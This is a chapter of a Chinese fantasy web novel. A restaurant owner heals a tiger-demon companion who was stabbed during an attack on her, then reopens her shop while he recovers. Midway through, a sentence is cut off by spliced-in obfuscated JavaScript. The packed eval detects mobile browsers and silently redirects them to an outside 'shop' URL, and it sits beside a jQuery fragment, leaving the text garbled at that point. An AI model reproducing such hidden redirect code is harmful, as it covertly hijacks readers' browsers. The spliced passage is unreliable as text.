午后,阳光正好,暖意从窗外漫入。
屋内榻上卧着只猫,不是丸子,是大猫。它的肋间带道新鲜的刀痕,昏迷不醒。
宿亦雪在旁坐着,大猫伤口处隐隐泛起绿光,却无半点好转迹象。
【老虎:生命值:6/100(生命垂危!)】
初时,虎星河的生命值急剧下跌,上一个数字还未看清,便跳至下一个数字。
吓得宿亦雪连用三回治愈术,无暇惊诧虎星河即是大黄这事。分明前日,她已认定虎星河就是神仙,可能是大黄的主人。
但治愈术的效果不太理想。
第一回后,虎星河的生命值依旧一直往下掉,瞧着甚至撑不到第二回。
万幸,饭馆的领域被动起效了,关键时刻奶了一口。
那时,宿亦雪心口怦怦直跳,说不清道不明的滋味,只觉冷汗涔涔,阵阵后怕。
直至第三回,虎星河的生命条才止住,可也不容乐观,停于6。
她也没法再用治愈术,她生命值20不到,若再来,便要比虎星河先走一步了。
只盼他自个坚强,妖族或许不该这般容易死去...
但记得刚才惨状,宿亦雪眸光一黯,却没再多想,转身去取些草药...
一刻钟前,午市刚过,宿亦雪落下招牌准备打烊。
一个约莫十三四岁的少年见状,加快脚步走到门口。
“宿掌柜等等!我赶了老远的路,就为尝尝你的手艺,能再添双筷子不?我很随意的,一碗粉一碟小菜就好。”
少年面生,裤脚沾了些草,确是赶了很远的路。
宿亦雪心头一软,又想着或能添个常客,便让他落座,转身进厨房再掌勺。
左手端着汤粉,右手捧着咸菜碟,宿亦雪正要摆桌,却见那少年瞳仁寒光乍现,怀中抽出匕首,直往她胸口刺!
好在宿亦雪反应快,霎时丢开碗碟,往后退去。
那人刺空,不死心,又冲上去再刺一刀。
有了准备,宿亦雪反手扣住那人手腕,再往他胸口用力一踹。
男的吃痛,却是不曾松手,双目赤红,咬牙切齿与宿亦雪僵持着。
大抵是先手优势,刀尖离她胸口愈近。
“你个贱人!我要杀了你!你害死我爹!”男的恶狠狠瞪着眼睛,要将宿亦雪咬碎咽进肚里,“我家里事干你这外人屁事!你个畜生,多管闲事,害我过得老苦!”
这才知道,这男的是李东家的儿子,当真是有其父必有其子!
宿亦雪的火气同样上来,将匕刃推开,但仍旧僵持不下。
“你爹活该!你也活该!”
“死东西,这话你和阎王爷说去吧!”
李东家儿子急了眼,奋力一刺,
匕首却未动分毫。
他一贯养尊处优,眼下已经没多大力气了,只能勉强与宿亦雪僵着...
就在这时,虎星河听见打闹声,忙从后院赶来,见此情景脸色骤变,“阿雪!”他一个箭步冲上前,想要将那孩子制住。
见虎星河赶来,宿亦雪稍分神。
李东家儿子趁机偷袭,幸而宿亦雪立即回神,向外格挡。
李东家儿子瞬间脱力,匕首竟被带着转向,不偏不倚扎在奔来的虎星河的心口。
一切发生的太快,虎星河躲闪不及,闷哼一声向后倒去。后脑重重撞在坚硬的桌角上,又是一声闷响。
“虎星河!”
话音未落,只见虎星河身形一晃,周身泛起一阵白光。
本就高大的身子变得更大,白光过后,原地现出一头巨虎,正是大黄。
“妖...妖怪啊!”
都持刀要取人性命了,还以为李东家儿子是个狠角色,结果看见这一幕,吓得两眼翻白,直接昏死过去。
宿亦雪一样惊呆,却顾不上别的,马上使用治愈术,那伤口狰狞得可怖。
之后,便找来熊哥帮忙,合力将虎星河抬进屋内。
-
费尽力气,熊哥扶着腰气喘吁吁,目光转到虎星河身上。
怪不得他总觉虎星河唬熊,还猜测是山匪甚的,原是血脉里的压制,这人竟是位虎妖!
果真,不愧为仙人,左近就没有吃素的。
一声闷响引得一人一妖一怔,虎星河身子微颤却未有转醒迹象。
宿亦雪蹙眉,怕他生命值再降,忙调开系统面板,还好没有下跌。
熊哥瞧出她的焦灼,宽慰道:“仙人,你别忧心。”
“照你先前所言,虎掌柜该是自行推迟了敏感期。虽能强撑着不现原形,身子骨仍会不得劲许多。不过听老一辈说,能自主延期的多半是大妖,底子本就强硬。再加上你的仙法护持,只要不出差池,虎掌柜应当不会死的。”
宿亦雪颔首道谢,没再多言。
熊哥见此处无自己的事,站着也是多余。便顺手帮忙,将李东家儿子拎去官府。
熊哥所言不假。
过去两天,虎星河的生命值翻了好几倍,接近六十,可仍未苏醒。
颇挂心,宿亦雪又问过熊哥,确定这是正常的。妖族敏感期大概二至五日,过了这日子就好。
宿亦雪心下稍安,终是有心思重开饭馆。
客人馋了许久,见新世食肆终于开业,一窝蜂涌来,即忙得要死,从早干到晚,比生产队的驴还累。
更别提从前有两头,现下只有一头,累死了!
宿亦雪起了雇帮工的念头,可惜未有合意人选,暂时作罢。
幸而第二日情况有所好转。
第一批嘴馋的客人解了瘾,第二天便为荷包着想,歇些时候再来光顾。
余下的客人一部分用饭,一部分用茶,一部分用茶加用饭。
而用茶的客人最容易招待。
他们说是来喝茶,其实主要是来看毛茸茸。
端上茶壶茶盏,再抱起小白它们,催它们接客,就成了甩手掌柜,他们自会自给自足。
但说是如此,却从未催过,应是双向奔赴。
每回瞧见眼熟的饲养员进店,后院的毛茸茸就摆着大毛尾巴,主动凑上去胡乱蹭,讨肉干吃。
有一次,有位饲养员今日不用茶,改用饭。见小白凑来,只摸了摸它脑袋。
小白汪汪笑着,又眼巴巴等着,指望他快些从衣袋里拿出肉干。
可他是来用饭的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667695|184956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就忘了带来零嘴。
小白当即蔫了,好几秒,才重新耶耶,转头找另一位饲养员讨来双倍肉干。
因而,第二日勉强能应付下来。
较之从前,大概为加班到晚上十点,中间有个午休时间。
但宿亦雪晌午总睡不着觉,忙完午市,她便端饭菜去虎星河房里瞧瞧,看虎醒了没有。
虎仍未醒。
可肉眼可识的气色大好,毛发泛着光泽,勾得她手心发痒,又想撸老虎了。
但已知大黄便是虎星河,终究有些别扭,不能同待小白它们那般肆无忌惮,只得撸虎不得吸。
诸多顾虑,却不得不认,老虎的毛确是独一无二的,大抵是大块大块的,质地软熟的棉花,越揉越是上瘾。
唯一不妥的是,每回撸过老虎,小白它们免不了受怕。
虽然知道宿亦雪仍是宿亦雪,但大黄身上的虎息比虎星河浓得不是一丁半点,她难免沾上不少,便是生理性恐惧。
像是洗澡甚的,小白丸子一向不喜爱,现今更抗拒,只能拿肉条诱着才肯乖乖被擒。
可每逢这时,宿亦雪又觉得小白它们是装的,它们吃得享受,半点畏畏缩缩的模样都无......
翌日,馆子里来了两位熟客,李老爷夫妇特来致歉,宿亦雪这才知晓李小东西的后续。
他被熊哥送至官府后,疯疯癫癫嚷着有妖怪,却无人相信。他素来骄横,街坊们不少受其苦,只当他在装傻逃罪。
二老听闻此事,想起已逝女儿,更是对这个外孙失望透顶,觉得他活脱脱就是李东家翻版,死了算了,冷脸表示任由官府发落即可,与李府上下无关。
而李东家儿子虽说杀人未遂,治不得死罪,却也够他蹲大狱许久许久。
好事成双。
午市结束,宿亦雪去虎星河房中探看,大黄已不见,取而代之的是虎星河。
她料想虎星河的敏感期该过去了,离清醒不远了。
但她心下有些乱。
先是希望落空,忙碌一上午,想来撸撸虎,结果大猫变成了虎星河...
再是开心,看见久病不愈的伙伴要好了,欢喜是人之常情。
最后便是忐忑,虎星河即是大黄,她一时间不知如何面对醒来的虎星河。
但这忐忑情绪真的只有一时间,说短些不过一瞬,宿亦雪接受得坦然,反正不觉着别扭。
只是可惜,今日没薅到大虎的毛。往后,虎星河应该也不会化作虎形让她撸...
念罢,宿亦雪带着惋惜,朝粮仓走去。
既然大黄回来了,粮仓里的腊兔干即可开动了。只是虎星河带伤初醒,饮食做法需清淡些,滋味或许要差点。
而塞翁失马,焉知非福。
老虎摸不着,其它毛茸茸全涌上来,不过也可能是被腊兔干引来的。
可宿亦雪没理会太多,洗净手后,尽情过了一番手瘾。
自然,腊兔干是没有的,小白它们不宜使用。
煮好饭菜,宿亦雪端去虎星河房里。
果然,虎星河醒了。
望着宿亦雪,那双清凌凌的金眸带着一丝茫然,“对不住,请问你是?”